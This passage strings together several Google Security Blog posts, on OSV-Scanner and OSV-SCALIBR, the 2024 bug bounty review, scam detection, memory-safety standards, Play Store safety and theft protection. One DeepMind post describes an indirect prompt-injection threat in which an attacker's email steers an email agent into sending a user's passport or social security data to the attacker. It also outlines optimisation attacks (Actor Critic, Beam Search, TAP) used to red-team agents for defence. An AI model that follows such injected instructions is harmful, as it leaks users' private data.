is to give you the ability to know and account for every single file on your container image, including sideloaded binaries downloaded from the internet.Reachability Analysis: We're working on integrating reachability analysis to provide deeper insights into the potential impact of vulnerabilities.VEX Support: We're planning to add support for Vulnerability Exchange (VEX) to facilitate better communication and collaboration around vulnerability information.Try OSV-Scanner V2You can try V2.0.0 and contribute to its ongoing development by checking out OSV-Scanner or the OSV-SCALIBR repository. We welcome your feedback and contributions as we continue to improve the platform and make vulnerability management easier for everyone.If you have any questions or if you would like to contribute, don't hesitate to reach out to us at osv-discuss@google.com, or post an issue in our issue tracker.

Posted by Dirk GöhmannIn 2024, our Vulnerability Reward Program confirmed the ongoing value of engaging with the security research community to make Google and its products safer. This was evident as we awarded just shy of $12 million to over 600 researchers based in countries around the globe across all of our programs.Vulnerability Reward Program 2024 in NumbersYou can learn about who’s reporting to the Vulnerability Reward Program via our Leaderboard – and find out more about our youngest security researchers who’ve recently joined the ranks of Google bug hunters.VRP Highlights in 2024In 2024 we made a series of changes and improvements coming to our vulnerability reward programs and related initiatives:The Google VRP revamped its reward structure, bumping rewards up to a maximum of $151,515, the Mobile VRP is now offering up to $300,000 for critical vulnerabilities in top-tier apps, Cloud VRP has a top-tier award of up $151,515, and Chrome awards now peak at $250,000 (see the below section on Chrome for details).We rolled out InternetCTF – to get rewarded, discover novel code execution vulnerabilities in open source and provide Tsunami plugin patches for them.The Abuse VRP saw a 40% YoY increase in payouts – we received over 250 valid bugs targeting abuse and misuse issues in Google products, resulting in over $290,000 in rewards.To improve the payment process for rewards going to bug hunters, we introduced Bugcrowd as an additional payment option on bughunters.google.com alongside the existing standard Google payment option. We hosted two editions of bugSWAT for training, skill sharing, and, of course, some live hacking – in August, we had 16 bug hunters in attendance in Las Vegas, and in October, as part of our annual security conference ESCAL8 in Malaga, Spain, we welcomed 40 of our top researchers. Between these two events, our bug hunters were rewarded $370,000 (and plenty of swag).We doubled down on our commitment to support the next generation of security engineers by hosting four init.g workshops (Las Vegas, São Paulo, Paris, and Malaga). Follow the Google VRP channel on X to stay tuned on future events.More detailed updates on selected programs are shared in the following sections.Android and Google DevicesIn 2024, the Android and Google Devices Security Reward Program and the Google Mobile Vulnerability Reward Program, both part of the broader Google Bug Hunters program, continued their mission to fortify the Android ecosystem, achieving new heights in both impact and severity. We awarded over $3.3 million in rewards to researchers who demonstrated exceptional skill in uncovering critical vulnerabilities within Android and Google mobile applications. The above numbers mark a significant change compared to previous years. Although we saw an 8% decrease in the total number of submissions, there was a 2% increase in the number of critical and high vulnerabilities. In other words, fewer researchers are submitting fewer, but more impactful bugs, and are citing the improved security posture of the Android operating system as the central challenge. This showcases the program's sustained success in hardening Android.This year, we had a heightened focus on Android Automotive OS and WearOS, bringing actual automotive devices to multiple live hacking events and conferences. At ESCAL8, we hosted a live-hacking challenge focused on Pixel devices, resulting in over $75,000 in rewards in one weekend, and the discovery of several memory safety vulnerabilities. To facilitate learning, we launched a new Android hacking course in collaboration with external security researchers, focused on mobile app security, designed for newcomers and veterans alike. Stay tuned for more.We extend our deepest gratitude to the dedicated researchers who make the Android ecosystem safer. We're proud to work with you! Special thanks to Zinuo Han (@ele7enxxh) for their expertise in Bluetooth security, blunt (@blunt_qian) for holding the record for the most valid reports submitted to the Google Play Security Reward Program, and WANG,YONG (@ThomasKing2014) for groundbreaking research on rooting Android devices with kernel MTE enabled. We also appreciate all researchers who participated in last year's bugSWAT event in Málaga. Your contributions are invaluable! ChromeChrome did some remodeling in 2024 as we updated our reward amounts and structure to incentivize deeper research. For example, we increased our maximum reward for a single issue to $250,000 for demonstrating RCE in the browser or other non-sandboxed process, and more if done directly without requiring a renderer compromise. In 2024, UAF mitigation MiraclePtr was fully launched across all platforms, and a year after the initial launch, MiraclePtr-protected bugs are no longer being considered exploitable security bugs. In tandem, we increased the MiraclePtr Bypass Reward to $250,128. Between April and November, we also launched the first and second iterations of the V8 Sandbox Bypass Rewards as part of the progression towards the V8 sandbox, eventually becoming a security boundary in Chrome. We received 337 reports of unique, valid security bugs in Chrome during 2024, and awarded 137 Chrome VRP researchers $3.4 million in total. The highest single reward of 2024 was $100,115 and was awarded to Mickey for their report of a MiraclePtr Bypass after MiraclePtr was initially enabled across most platforms in Chrome M115 in 2023. We rounded out the year by announcing the top 20 Chrome VRP researchers for 2024, all of whom were gifted new Chrome VRP swag, featuring our new Chrome VRP mascot, Bug.Cloud VRPThe Cloud VRP launched in October as a Cloud-focused vulnerability reward program dedicated to Google Cloud products and services. As part of the launch, we also updated our product tiering and improved our reward structure to better align our reports with their impact on Google Cloud. This resulted in over 150 Google Cloud products coming under the top two reward tiers, enabling better rewards for our Cloud researchers and a more secure cloud.Since its launch, Google Cloud VRP triaged over 400 reports and filed over 200 unique security vulnerabilities for Google Cloud products and services leading to over $500,000 in researcher rewards. Our highlight last year was launching at the bugSWAT event in Málaga where we got to meet many of our amazing researchers who make our program so successful! The overwhelming positive feedback from the researcher community continues to propel us to mature Google Cloud VRP further this year. Stay tuned for some exciting announcements!Generative AIWe’re celebrating an exciting first year of AI bug bounties.  We received over 150 bug reports – over $55,000 in rewards so far – with one-in-six leading to key improvements. We also ran a bugSWAT live-hacking event targeting LLM products and received 35 reports, totaling more than $87,000 – including issues like “Hacking Google Bard - From Prompt Injection to Data Exfiltration” and “We Hacked Google A.I. for $50,000”.Keep an eye on Gen AI in 2025 as we focus on expanding scope and sharing additional ways for our researcher community to contribute. Looking Forward to 2025In 2025, we will be celebrating 15 years of VRP at Google, during which we have remained fully committed to fostering collaboration, innovation, and transparency with the security community, and will continue to do so in the future. Our goal remains to stay ahead of emerging threats, adapt to evolving technologies, and continue to strengthen the security posture of Google’s products and services. We want to send a huge thank you to our bug hunter community for helping us make Google products and platforms more safe and secure for our users around the world – and invite researchers not yet engaged with the Vulnerability Reward Program to join us in our mission to keep Google safe! Thank you to Dirk Göhmann, Amy Ressler, Eduardo Vela, Jan Keller, Krzysztof Kotowicz, Martin Straka, Michael Cote, Mike Antares, Sri Tulasiram, and Tony Mendez. Tip: Want to be informed of new developments and events around our Vulnerability Reward Program? Follow the Google VRP channel on X to stay in the loop and be sure to check out the Security Engineering blog, which covers topics ranging from VRP updates to security practices and vulnerability descriptions (30 posts in 2024)!

Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse Google has been at the forefront of protecting users from the ever-growing threat of scams and fraud with cutting-edge technologies and security expertise for years. In 2024, scammers used increasingly sophisticated tactics and generative AI-powered tools to steal more than $1 trillion from mobile consumers globally, according to the Global Anti-Scam Alliance. And with the majority of scams now delivered through phone calls and text messages, we’ve been focused on making Android’s safeguards even more intelligent with powerful Google AI to help keep your financial information and data safe. Today, we’re launching two new industry-leading AI-powered scam detection features for calls and text messages, designed to protect users from increasingly complex and damaging scams. These features specifically target conversational scams, which can often appear initially harmless before evolving into harmful situations. To enhance our detection capabilities, we partnered with financial institutions around the world to better understand the latest advanced and most common scams their customers are facing. For example, users are experiencing more conversational text scams that begin innocently, but gradually manipulate victims into sharing sensitive data, handing over funds, or switching to other messaging apps. And more phone calling scammers are using spoofing techniques to hide their real numbers and pretend to be trusted companies. Traditional spam protections are focused on protecting users before the conversation starts, and are less effective against these latest tactics from scammers that turn dangerous mid-conversation and use social engineering techniques. To better protect users, we invested in new, intelligent AI models capable of detecting suspicious patterns and delivering real-time warnings over the course of a conversation, all while prioritizing user privacy. Scam Detection for messages We’re building on our enhancements to existing Spam Protection in Google Messages that strengthen defenses against job and delivery scams, which are continuing to roll out to users. We’re now introducing Scam Detection to detect a wider range of fraudulent activities. Scam Detection in Google Messages uses powerful Google AI to proactively address conversational scams by providing real-time detection even after initial messages are received. When the on-device AI detects a suspicious pattern in SMS, MMS, and RCS messages, users will now get a message warning of a likely scam with an option to dismiss or report and block the sender. As part of the Spam Protection setting, Scam Detection on Google Messages is on by default and only applies to conversations with non-contacts. Your privacy is protected with Scam Detection in Google Messages, with all message processing remaining on-device. Your conversations remain private to you; if you choose to report a conversation to help reduce widespread spam, only sender details and recent messages with that sender are shared with Google and carriers. You can turn off Spam Protection, which includes Scam Detection, in your Google Messages at any time. Scam Detection in Google Messages is launching in English first in the U.S., U.K. and Canada and will expand to more countries soon. Scam Detection for calls More than half of Americans reported receiving at least one scam call per day in 2024. To combat the rise of sophisticated conversational scams that deceive victims over the course of a phone call, we introduced Scam Detection late last year to U.S.-based English-speaking Phone by Google public beta users on Pixel phones. We use AI models processed on-device to analyze conversations in real-time and warn users of potential scams. If a caller, for example, tries to get you to provide payment via gift cards to complete a delivery, Scam Detection will alert you through audio and haptic notifications and display a warning on your phone that the call may be a scam. During our limited beta, we analyzed calls with Gemini Nano, Google’s built-in, on-device foundation model, on Pixel 9 devices and used smaller, robust on-device machine-learning models for Pixel 6+ users. Our testing showed that Gemini Nano outperformed other models, so as a result, we're currently expanding the availability of the beta to bring the most capable Scam Detection to all English-speaking Pixel 9+ users in the U.S. Similar to Scam Detection in messaging, we built this feature to protect your privacy by processing everything on-device. Call audio is processed ephemerally and no conversation audio or transcription is recorded, stored on the device, or sent to Google or third parties. Scam Detection in Phone by Google is off by default to give users control over this feature, as phone call audio is more ephemeral compared to messages, which are stored on devices. Scam Detection only applies to calls that could potentially be scams, and is never used during calls with your contacts. If enabled, Scam Detection will beep at the start and during the call to notify participants the feature is on. You can turn off Scam Detection at any time, during an individual call or for all future calls. According to our research and a Scam Detection beta user survey, these types of alerts have already helped people be more cautious on the phone, detect suspicious activity, and avoid falling victim to conversational scams. Keeping Android users safe with the power of Google AI We're committed to keeping Android users safe, and that means constantly evolving our defenses against increasingly sophisticated scams and fraud. Our investment in intelligent protection is having real-world impact for billions of users. Leviathan Security Group, a cybersecurity firm, conducted a funded evaluation of fraud protection features on a number of smartphones and found that Android smartphones, led by the Pixel 9 Pro, scored highest for built-in security features and anti-fraud efficacy1. With AI-powered innovations like Scam Detection in Messages and Phone by Google, we're giving you more tools to stay one step ahead of bad actors. We're constantly working with our partners across the Android ecosystem to help bring new security features to even more users. Together, we’re always working to keep you safe on Android. Notes Based on third-party research funded by Google LLC in Feb 2025 comparing the Pixel 9 Pro, iPhone 16 Pro, Samsung S24+ and Xiaomi 14 Ultra. Evaluation based on no-cost smartphone features enabled by default. Some features may not be available in all countries. ↩

Posted by Alex Rebert, Security Foundations, Ben Laurie, Research, Murali Vijayaraghavan, Research and Alex Richardson, SiliconFor decades, memory safety vulnerabilities have been at the center of various security incidents across the industry, eroding trust in technology and costing billions. Traditional approaches, like code auditing, fuzzing, and exploit mitigations – while helpful – haven't been enough to stem the tide, while incurring an increasingly high cost.In this blog post, we are calling for a fundamental shift: a collective commitment to finally eliminate this class of vulnerabilities, anchored on secure-by-design practices – not just for ourselves but for the generations that follow.The shift we are calling for is reinforced by a recent ACM article calling to standardize memory safety we took part in releasing with academic and industry partners. It's a recognition that the lack of memory safety is no longer a niche technical problem but a societal one, impacting everything from national security to personal privacy.The standardization opportunityOver the past decade, a confluence of secure-by-design advancements has matured to the point of practical, widespread deployment. This includes memory-safe languages, now including high-performance ones such as Rust, as well as safer language subsets like Safe Buffers for C++. These tools are already proving effective. In Android for example, the increasing adoption of memory-safe languages like Kotlin and Rust in new code has driven a significant reduction in vulnerabilities.Looking forward, we're also seeing exciting and promising developments in hardware. Technologies like ARM's Memory Tagging Extension (MTE) and the Capability Hardware Enhanced RISC Instructions (CHERI) architecture offer a complementary defense, particularly for existing code.While these advancements are encouraging, achieving comprehensive memory safety across the entire software industry requires more than just individual technological progress:  we need to create the right environment and accountability for their widespread adoption. Standardization is key to this. To facilitate standardization, we suggest establishing a common framework for specifying and objectively assessing memory safety assurances; doing so will lay the foundation for creating a market in which vendors are incentivized to invest in memory safety. Customers will be empowered to recognize, demand, and reward safety. This framework will provide governments and businesses with the clarity to specify memory safety requirements, driving the procurement of more secure systems. The framework we are proposing would complement existing efforts by defining specific, measurable criteria for achieving different levels of memory safety assurance across the industry. In this way, policymakers will gain the technical foundation to craft effective policy initiatives and incentives promoting memory safety. A blueprint for a memory-safe futureWe know there's more than one way of solving this problem, and we are ourselves investing in several. Importantly, our vision for achieving memory safety through standardization focuses on defining the desired outcomes rather than locking ourselves into specific technologies.To translate this vision into an effective standard, we need a framework that will:Foster innovation and support diverse approaches: The standard should focus on the security properties we want to achieve (e.g., freedom from spatial and temporal safety violations) rather than mandating specific implementation details. The framework should therefore be technology-neutral, allowing vendors to choose the best approach for their products and requirements. This encourages innovation and allows software and hardware manufacturers to adopt the best solutions as they emerge.Tailor memory safety requirements based on need: The framework should establish different levels of safety assurance, akin to SLSA levels, recognizing that different applications have different security needs and cost constraints. Similarly, we likely need distinct guidance for developing new systems and improving existing codebases. For instance, we probably do not need every single piece of code to be formally proven. This allows for tailored security, ensuring appropriate levels of memory safety for various contexts. Enable objective assessment: The framework should define clear criteria and potentially metrics for assessing memory safety and compliance with a given level of assurance. The goal would be to objectively compare the memory safety assurance of different software components or systems, much like we assess energy efficiency today. This will move us beyond subjective claims and towards objective and comparable security properties across products.Be practical and actionable: Alongside the technology-neutral framework, we need best practices for existing technologies. The framework should provide guidance on how to effectively leverage specific technologies to meet the standards. This includes answering questions such as when and to what extent unsafe code is acceptable within larger software systems, and guidelines on structuring such unsafe dependencies to support compositional reasoning about safety.Google's commitmentAt Google, we're not just advocating for standardization and a memory-safe future, we're actively working to build it.We are collaborating with industry and academic partners to develop potential standards, and our joint authorship of the recent CACM call-to-action marks an important first step in this process. In addition, as outlined in our Secure by Design whitepaper and in our memory safety strategy, we are deeply committed to building security into the foundation of our products and services.This commitment is also reflected in our internal efforts. We are prioritizing memory-safe languages, and have already seen significant reductions in vulnerabilities by adopting languages like Rust in combination with existing, wide-spread usage of Java, Kotlin, and Go where performance constraints permit. We recognize that a complete transition to those languages will take time. That's why we're also investing in techniques to improve the safety of our existing C++ codebase by design, such as deploying hardened libc++.Let's build a memory-safe future togetherThis effort isn't about picking winners or dictating solutions. It's about creating a level playing field, empowering informed decision-making, and driving a virtuous cycle of security improvement. It's about enabling a future where:Developers and vendors can confidently build more secure systems, knowing their efforts can be objectively assessed.Businesses can procure memory-safe products with assurance, reducing their risk and protecting their customers.Governments can effectively protect critical infrastructure and incentivize the adoption of secure-by-design practices.Consumers are empowered to make decisions about the services they rely on and the devices they use with confidence – knowing the security of each option was assessed against a common framework. The journey towards memory safety requires a collective commitment to standardization. We need to build a future where memory safety is not an afterthought but a foundational principle, a future where the next generation inherits a digital world that is secure by design.AcknowledgmentsWe'd like to thank our CACM article co-authors for their invaluable contributions: Robert N. M. Watson, John Baldwin, Tony Chen, David Chisnall, Jessica Clarke, Brooks Davis, Nathaniel Wesley Filardo, Brett Gutstein, Graeme Jenkinson, Christoph Kern, Alfredo Mazzinghi, Simon W. Moore, Peter G. Neumann, Hamed Okhravi, Peter Sewell, Laurence Tratt, Hugo Vincent, and Konrad Witaszczyk, as well as many others.

Posted by Bethel Otuteye and Khawaja Shams (Android Security and Privacy Team), and Ron Aquino (Play Trust and Safety) Android and Google Play comprise a vibrant ecosystem with billions of users around the globe and millions of helpful apps. Keeping this ecosystem safe for users and developers remains our top priority. However, like any flourishing ecosystem, it also attracts its share of bad actors. That’s why every year, we continue to invest in more ways to protect our community and fight bad actors, so users can trust the apps they download from Google Play and developers can build thriving businesses. Last year, those investments included AI-powered threat detection, stronger privacy policies, supercharged developer tools, new industry-wide alliances, and more. As a result, we prevented 2.36 million policy-violating apps from being published on Google Play and banned more than 158,000 bad developer accounts that attempted to publish harmful apps. But that was just the start. For more, take a look at our recent highlights from 2024: Google’s advanced AI: helping make Google Play a safer placeTo keep out bad actors, we have always used a combination of human security experts and the latest threat-detection technology. In 2024, we used Google’s advanced AI to improve our systems’ ability to proactively identify malware, enabling us to detect and block bad apps more effectively. It also helps us streamline review processes for developers with a proven track record of policy compliance. Today, over 92% of our human reviews for harmful apps are AI-assisted, allowing us to take quicker and more accurate action to help prevent harmful apps from becoming available on Google Play. That’s enabled us to stop more bad apps than ever from reaching users through the Play Store, protecting users from harmful or malicious apps before they can cause any damage. Working with developers to enhance security and privacy on Google Play To protect user privacy, we’re working with developers to reduce unnecessary access to sensitive data. In 2024, we prevented 1.3 million apps from getting excessive or unnecessary access to sensitive user data. We also required apps to be more transparent about how they handle user information by launching new developer requirements and a new “Data deletion” option for apps that support user accounts and data collection. This helps users manage their app data and understand the app’s deletion practices, making it easier for Play users to delete data collected from third-party apps. We also worked to ensure that apps use the strongest and most up-to-date privacy and security capabilities Android has to offer. Every new version of Android introduces new security and privacy features, and we encourage developers to embrace these advancements as soon as possible. As a result of partnering closely with developers, over 91% of app installs on the Google Play Store now use the latest protections of Android 13 or newer. Safeguarding apps from scams and fraud is an ongoing battle for developers. The Play Integrity API allows developers to check if their apps have been tampered with or are running in potentially compromised environments, helping them to prevent abuse like fraud, bots, cheating, and data theft. Play Integrity API and Play’s automatic protection helps developers ensure that users are using the official Play version of their app with the latest security updates. Apps using Play integrity features are seeing 80% lower usage from unverified and untrusted sources on average. We’re also constantly working to improve the safety of apps on Play at scale, such as with the Google Play SDK Index. This tool offers insights and data to help developers make more informed decisions about the safety of an SDK. Last year, in addition to adding 80 SDKs to the index, we also worked closely with SDK and app developers to address potential SDK security and privacy issues, helping to build safer and more secure apps for Google Play. Google Play’s multi-layered protections against bad apps To create a trusted experience for everyone on Google Play, we use our SAFE principles as a guide, incorporating multi-layered protections that are always evolving to help keep Google Play safe. These protections start with the developers themselves, who play a crucial role in building secure apps. We provide developers with best-in-class tools, best practices, and on-demand training resources for building safe, high-quality apps. Every app undergoes rigorous review and testing, with only approved apps allowed to appear in the Play Store. Before a user downloads an app from Play, users can explore its user reviews, ratings, and Data safety section on Google Play to help them make an informed decision. And once installed, Google Play Protect, Android’s built-in security protection, helps to shield their Android device by continuously scanning for malicious app behavior. Enhancing Google Play Protect to help keep users safe on AndroidWhile the Play Store offers best-in-class security, we know it’s not the only place users download Android apps – so it’s important that we also defend Android users from more generalized mobile threats. To do this in an open ecosystem, we’ve invested in sophisticated, real-time defenses that protect against scams, malware, and abusive apps. These intelligent security measures help to keep users, user data, and devices safe, even if apps are installed from various sources with varying levels of security. Google Play Protect automatically scans every app on Android devices with Google Play Services, no matter the download source. This built-in protection, enabled by default, provides crucial security against malware and unwanted software. Google Play Protect scans more than 200 billion apps daily and performs real-time scanning at the code-level on novel apps to combat emerging and hidden threats, like polymorphic malware. In 2024, Google Play Protect’s real-time scanning identified more than 13 million new malicious apps from outside Google Play1. Google Play Protect is always evolving to combat new threats and protect users from harmful apps that can lead to scams and fraud. Here are some of the new improvements that are now available globally on Android devices with Google Play Services: Reminder notifications in Chrome on Android to re-enable Google Play Protect: According to our research, more than 95 percent of app installations from major malware families that exploit sensitive permissions highly correlated to financial fraud came from Internet-sideloading sources like web browsers, messaging apps, or file managers. To help users stay protected when browsing the web, Chrome will now display a reminder notification to re-enable Google Play Protect if it has been turned off. Additional protection against social engineering attacks: Scammers may manipulate users into disabling Play Protect during calls to download malicious Internet-sideloaded apps. To prevent this, the Play Protect app scanning toggle is now temporarily disabled during phone or video calls. This safeguard is enabled by default during traditional phone calls as well as during voice and video calls in popular third-party apps. Automatically revoking app permissions for potentially dangerous apps: Since Android 11, we’ve taken a proactive approach to data privacy by automatically resetting permissions for apps that users haven't used in a while. This ensures apps can only access the data they truly need, and users can always grant permissions back if necessary. To further enhance security, Play Protect now automatically revokes permissions for potentially harmful apps, limiting their access to sensitive data like storage, photos, and camera. Users can restore app permissions at any time, with a confirmation step for added security. Google Play Protect’s enhanced fraud protection pilot analyzes and automatically blocks the installation of apps that may use sensitive permissions frequently abused for financial fraud when the user attempts to install the app from an Internet-sideloading source (web browsers, messaging apps, or file managers). Building on the success of our initial pilot in partnership with the Cyber Security Agency of Singapore (CSA), additional enhanced fraud protection pilots are now active in nine regions – Brazil, Hong Kong, India, Kenya, Nigeria, Philippines, South Africa, Thailand, and Vietnam. In 2024, Google Play Protect’s enhanced fraud protection pilots have shielded 10 million devices from over 36 million risky installation attempts, encompassing over 200,000 unique apps. By piloting these new protections, we can proactively combat emerging threats and refine our solutions to thwart scammers and their increasingly sophisticated fraud attempts. We look forward to continuing to partner with governments, ecosystem partners, and other stakeholders to improve user protections. App badging to help users find apps they can trust at a glance on Google Play In 2024, we introduced a new badge for government developers to help users around the world identify official government apps. Government apps are often targets of impersonation due to the highly sensitive nature of the data users provide, giving bad actors the ability to steal identities and commit financial fraud. Badging verified government apps is an important step in helping connect people with safe, high-quality, useful, and relevant experiences. We partner closely with global governments and are already exploring ways to build on this work. We also recently introduced a new badge to help Google Play users discover VPN apps that take extra steps to demonstrate their strong commitment to security. We allow developers who adhere to Play safety and security guidelines and have passed an additional independent Mobile Application Security Assessment (MASA) to display a dedicated badge in the Play Store to highlight their increased commitment to safety. Collaborating to advance app security standards In addition to our partnerships with governments, developers, and other stakeholders, we also worked with our industry peers to protect the entire app ecosystem for everyone. The App Defense Alliance, in partnership with fellow steering committee members Microsoft and Meta, recently launched the ADA Application Security Assessment (ASA) v1.0, a new standard to help developers build more secure mobile, web, and cloud applications. This standard provides clear guidance on protecting sensitive data, defending against cyberattacks, and ultimately, strengthening user trust. This marks a significant step forward in establishing industry-wide security best practices for application development. All developers are encouraged to review and comply with the new mobile security standard. You’ll see this standard in action for all carrier apps pre-installed on future Pixel phone models. Looking ahead This year, we’ll continue to protect the Android and Google Play ecosystem, building on these tools and resources in response to user and developer feedback and the changing landscape. As always, we’ll keep empowering developers to build safer apps more easily, streamline their policy experience, and protect their businesses and users from bad actors. 1 Based on Google Play Protect 2024 internal data.

Posted by the Agentic AI Security Team at Google DeepMindModern AI systems, like Gemini, are more capable than ever, helping retrieve data and perform actions on behalf of users. However, data from external sources present new security challenges if untrusted sources are available to execute instructions on AI systems. Attackers can take advantage of this by hiding malicious instructions in data that are likely to be retrieved by the AI system, to manipulate its behavior. This type of attack is commonly referred to as an "indirect prompt injection," a term first coined by Kai Greshake and the NVIDIA team.To mitigate the risk posed by this class of attacks, we are actively deploying defenses within our AI systems along with measurement and monitoring tools. One of these tools is a robust evaluation framework we have developed to automatically red-team an AI system’s vulnerability to indirect prompt injection attacks. We will take you through our threat model, before describing three attack techniques we have implemented in our evaluation framework.Threat model and evaluation frameworkOur threat model concentrates on an attacker using indirect prompt injection to exfiltrate sensitive information, as illustrated above. The evaluation framework tests this by creating a hypothetical scenario, in which an AI agent can send and retrieve emails on behalf of the user. The agent is presented with a fictitious conversation history in which the user references private information such as their passport or social security number. Each conversation ends with a request by the user to summarize their last email, and the retrieved email in context.The contents of this email are controlled by the attacker, who tries to manipulate the agent into sending the sensitive information in the conversation history to an attacker-controlled email address. The attack is successful if the agent executes the malicious prompt contained in the email, resulting in the unauthorized disclosure of sensitive information. The attack fails if the agent only follows user instructions and provides a simple summary of the email. Automated red-teamingCrafting successful indirect prompt injections requires an iterative process of refinement based on observed responses. To automate this process, we have developed a red-team framework consisting of several optimization-based attacks that generate prompt injections (in the example above this would be different versions of the malicious email). These optimization-based attacks are designed to be as strong as possible; weak attacks do little to inform us of the susceptibility of an AI system to indirect prompt injections.Once these prompt injections have been constructed, we measure the resulting attack success rate on a diverse set of conversation histories. Because the attacker has no prior knowledge of the conversation history, to achieve a high attack success rate the prompt injection must be capable of extracting sensitive user information contained in any potential conversation contained in the prompt, making this a harder task than eliciting generic unaligned responses from the AI system. The attacks in our framework include:Actor Critic: This attack uses an attacker-controlled model to generate suggestions for prompt injections. These are passed to the AI system under attack, which returns a probability score of a successful attack. Based on this probability, the attack model refines the prompt injection. This process repeats until the attack model converges to a successful prompt injection. Beam Search: This attack starts with a naive prompt injection directly requesting that the AI system send an email to the attacker containing the sensitive user information. If the AI system recognizes the request as suspicious and does not comply, the attack adds random tokens to the end of the prompt injection and measures the new probability of the attack succeeding. If the probability increases, these random tokens are kept, otherwise they are removed, and this process repeats until the combination of the prompt injection and random appended tokens result in a successful attack.Tree of Attacks w/ Pruning (TAP): Mehrotra et al. (2024) [3] designed an attack to generate prompts that cause an AI system to violate safety policies (such as generating hate speech). We adapt this attack, making several adjustments to target security violations. Like Actor Critic, this attack searches in the natural language space; however, we assume the attacker cannot access probability scores from the AI system under attack, only the text samples that are generated.We are actively leveraging insights gleaned from these attacks within our automated red-team framework to protect current and future versions of AI systems we develop against indirect prompt injection, providing a measurable way to track security improvements. A single silver bullet defense is not expected to solve this problem entirely. We believe the most promising path to defend against these attacks involves a combination of robust evaluation frameworks leveraging automated red-teaming methods, alongside monitoring, heuristic defenses, and standard security engineering solutions. We would like to thank Vijay Bolina, Sravanti Addepalli, Lihao Liang, and Alex Kaskasoli for their prior contributions to this work.Posted on behalf of the entire Google DeepMind Agentic AI Security team (listed in alphabetical order):Aneesh Pappu, Andreas Terzis, Chongyang Shi, Gena Gibson, Ilia Shumailov, Itay Yona, Jamie Hayes, John "Four" Flynn, Juliette Pluto, Sharon Lin, Shuang Song

Posted by Jianing Sandra Guo, Product Manager, Android, Nataliya Stanetsky, Staff Program Manager, Android Today, people around the world rely on their mobile devices to help them stay connected with friends and family, manage finances, keep track of healthcare information and more – all from their fingertips. But a stolen device in the wrong hands can expose sensitive data, leaving you vulnerable to identity theft, financial fraud and privacy breaches. This is why we recently launched Android theft protection, a comprehensive suite of features designed to protect you and your data at every stage – before, during, and after device theft. As part of our commitment to help you stay safe on Android, we’re expanding and enhancing these features to deliver even more robust protection to more users around the world. Identity Check rolling out to Pixel and Samsung One UI 7 devices We’re officially launching Identity Check, first on Pixel and Samsung Galaxy devices eligible for One UI 71, to provide better protection for your critical account and device settings. When you turn on Identity Check, your device will require explicit biometric authentication to access certain sensitive resources when you’re outside of trusted locations. Identity Check also enables enhanced protection for Google Accounts on all supported devices and additional security for Samsung Accounts on One UI 7 eligible Galaxy devices, making it much more difficult for an unauthorized attacker to take over accounts signed in on the device. As part of enabling Identity Check, you can designate one or more trusted locations. When you’re outside of these trusted places, biometric authentication will be required to access critical account and device settings, like changing your device PIN or biometrics, disabling theft protection, or accessing Passkeys. Identity Check gives you more peace of mind that your most sensitive device assets are protected against unauthorized access, even if a thief or bad actor manages to learn your device PIN. Identity Check is rolling out now to Pixel devices with Android 15 and will be available on One UI 7 eligible Galaxy devices in the coming weeks. It will roll out to supported Android devices from other manufacturers later this year. Theft Detection Lock: expanding AI-powered protection to more users One of the top theft protection features introduced last year was Theft Detection Lock, which uses an on-device AI-powered algorithm to help detect when your phone may be forcibly taken from you. If the machine learning algorithm detects a potential theft attempt on your unlocked device, it locks your screen to keep thieves out. Theft Detection Lock is now fully rolled out to Android 10+ phones2 around the world. Protecting your Android device from theft We're collaborating with the GSMA and industry experts to combat mobile device theft by sharing information, tools and prevention techniques. Stay tuned for an upcoming GSMA white paper, developed in partnership with the mobile industry, with more information on protecting yourself and your organization from device theft. With the addition of Identity Check and the ongoing enhancements to our existing features, Android offers a robust and comprehensive set of tools to protect your devices and your data from theft. We’re dedicated to providing you with peace of mind, knowing your personal information is safe and secure. You can turn on the new Android theft features by clicking here on a supported Android device. Learn more about our theft protection features by visiting our help center. Notes Timing, availability and feature names may vary in One UI 7. ↩ With the exclusion for Android Go smartphones ↩

Posted by Erik Varga, Vulnerability Management, and Rex Pan, Open Source Security TeamIn December 2022, we announced OSV-Scanner, a tool to enable developers to easily scan for vulnerabilities in their open source dependencies. Together with the open source community, we’ve continued to build this tool, adding remediation features, as well as expanding ecosystem support to 11 programming languages and 20 package manager formats. Today, we’re excited to release OSV-SCALIBR (Software Composition Analysis LIBRary), an extensible library for SCA and file system scanning. OSV-SCALIBR combines Google’s internal vulnerability management expertise into one scanning library with significant new capabilities such as:SCA for installed packages, standalone binaries, as well as source codeOSes package scanning on Linux (COS, Debian, Ubuntu, RHEL, and much more), Windows, and MacArtifact and lockfile scanning in major language ecosystems (Go, Java, Javascript, Python, Ruby, and much more)Vulnerability scanning tools such as weak credential detectors for Linux, Windows, and MacSBOM generation in SPDX and CycloneDX, the two most popular document formatsOptimization for on-host scanning of resource constrained environments where performance and low resource consumption is criticalOSV-SCALIBR is now the primary SCA engine used within Google for live hosts, code repos, and containers. It’s been used and tested extensively across many different products and internal tools to help generate SBOMs, find vulnerabilities, and help protect our users’ data at Google scale.We offer OSV-SCALIBR primarily as an open source Go library today, and we're working on adding its new capabilities into OSV-Scanner as the primary CLI interface.Using OSV-SCALIBR as a libraryAll of OSV-SCALIBR's capabilities are modularized into plugins for software extraction and vulnerability detection which are very simple to expand.You can use OSV-SCALIBR as a library to:1.Generate SBOMs from the build artifacts and code repos on your live host:import ( "context" "github.com/google/osv-scalibr" "github.com/google/osv-scalibr/converter" "github.com/google/osv-scalibr/extractor/filesystem/list" "github.com/google/osv-scalibr/fs" "github.com/google/osv-scalibr/plugin" spdx "github.com/spdx/tools-golang/spdx/v2/v2_3")func GenSBOM(ctx context.Context) *spdx.Document { capab := &plugin.Capabilities{OS: plugin.OSLinux} cfg := &scalibr.ScanConfig{   ScanRoots: fs.RealFSScanRoots("/"),   FilesystemExtractors: list.FromCapabilities(capab),   Capabilities: capab, } result := scalibr.New().Scan(ctx, cfg) return converter.ToSPDX23(result, converter.SPDXConfig{})}2. Scan a git repo for SBOMs:Simply replace "/" with the path to your git repo. Also take a look at the various language extractors to enable for code scanning.3. Scan a remote container for SBOMs:Replace the scan config from the above code snippet withimport ( ... "github.com/google/go-containerregistry/pkg/authn" "github.com/google/go-containerregistry/pkg/v1/remote" "github.com/google/osv-scalibr/artifact/image" ...)...filesys, _ := image.NewFromRemoteName( "alpine:latest", remote.WithAuthFromKeychain(authn.DefaultKeychain),)cfg := &scalibr.ScanConfig{ ScanRoots: []*fs.ScanRoot{{FS: filesys}}, ...}4. Find 